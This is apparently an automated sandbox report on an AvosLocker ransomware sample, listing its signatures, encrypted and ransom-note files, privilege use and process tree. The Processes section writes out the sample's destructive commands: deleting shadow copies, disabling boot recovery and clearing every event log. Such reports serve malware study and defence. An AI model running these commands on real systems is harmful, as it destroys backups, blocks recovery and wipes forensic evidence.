Malware Analysis Report

2025-01-22 20:51

Sample ID 241225-r9nemawkhm
Target testing.exe
SHA256 fa8740e57fe41b3f13eca9c22a81eab37a157255e78d1090543a5f3f991dbbfe
Tags
avoslocker defense_evasion discovery evasion execution impact ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

fa8740e57fe41b3f13eca9c22a81eab37a157255e78d1090543a5f3f991dbbfe

Threat Level: Known bad

The file testing.exe was found to be: Known bad.

Malicious Activity Summary

avoslocker defense_evasion discovery evasion execution impact ransomware

Avoslocker family

Avoslocker Ransomware

Renames multiple (10409) files with added filename extension

Renames multiple (8494) files with added filename extension

Deletes shadow copies

Modifies boot configuration data using bcdedit

Executes dropped EXE

Checks computer location settings

Drops desktop.ini file(s)

Enumerates connected drives

Sets desktop wallpaper using registry

Drops file in Program Files directory

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Unsigned PE

Command and Scripting Interpreter: PowerShell

Suspicious use of AdjustPrivilegeToken

Uses Volume Shadow Copy service COM API

Interacts with shadow copies

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-12-25 14:53

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-12-25 14:53

Reported

2024-12-25 14:56

Platform

win7-20240903-en

Max time kernel

122s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Avoslocker family

avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (10409) files with added filename extension

ransomware

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1593467514.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\et-EE\tipresx.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\de-DE\css\RSSFeeds.css C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH03425I.JPG C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\ink\1.0\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Ashgabat C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Common Files\Microsoft Shared\ink\tr-TR\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Common Files\SpeechEngines\Microsoft\TTS20\en-US\MSTTSLoc.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Fortaleza C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\UserControl.zip C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME25.CSS C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD00261_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00194_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\de-DE\css\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows NT\TableTextService\es-ES\TableTextService.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Common Files\Microsoft Shared\Triedit\en-US\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\updater.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\WEBCALSO.POC C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FALL_01.MID C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\it-IT\js\currency.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\VideoLAN\VLC\locale\ar\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\ja-JP\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jre7\lib\tzmappings C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Bougainville C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\Help\1046\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\ja-JP\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable.nl_zh_4.4.0.v20140623020002.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\106.0.5249.119.manifest C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\LTHD98.POC C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FieldTypePreview\BREAK.JPG C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\InformationIcon.jpg C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE00685_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\InformationIconMask.bmp C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME16.CSS C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0199609.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\TRANSLAT\ARFR\MSB1ARFR.ITS C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\de-DE\weather.html C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-waning-gibbous_partly-cloudy.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\square_m.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\OUTLLIBR.DLL.IDX_DLL C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0196358.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Araguaina C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yerevan C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\es-ES\js\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\fr-FR\calendar.html C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\POST98SP.POC C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Black Tie.xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187847.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0287643.JPG C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\STUDIO\THMBNAIL.PNG C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\de-DE\InkWatson.exe.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL092.XML C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL077.XML C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107452.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0146142.JPG C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE03241_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\ink\en-US\InkObj.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0152570.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Windows Sidebar\Gadgets\CPU.Gadget\es-ES\js\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ru.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1224 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 1224 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 1224 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 1224 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 2364 wrote to memory of 2740 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2740 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2740 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2740 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2364 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2088 wrote to memory of 1036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2088 wrote to memory of 1036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2088 wrote to memory of 1036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2896 wrote to memory of 2280 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2896 wrote to memory of 2280 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2896 wrote to memory of 2280 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 1900 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1900 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1900 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2740 wrote to memory of 1496 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1496 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1496 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2172 wrote to memory of 3532 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2172 wrote to memory of 3532 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2172 wrote to memory of 3532 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2364 wrote to memory of 5376 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2364 wrote to memory of 5376 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2364 wrote to memory of 5376 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2364 wrote to memory of 5376 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5376 wrote to memory of 5368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 5376 wrote to memory of 5368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 5376 wrote to memory of 5368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 5376 wrote to memory of 6024 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 5376 wrote to memory of 6024 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 5376 wrote to memory of 6024 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\testing.exe

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr

"C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr" /S

C:\Windows\system32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\system32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

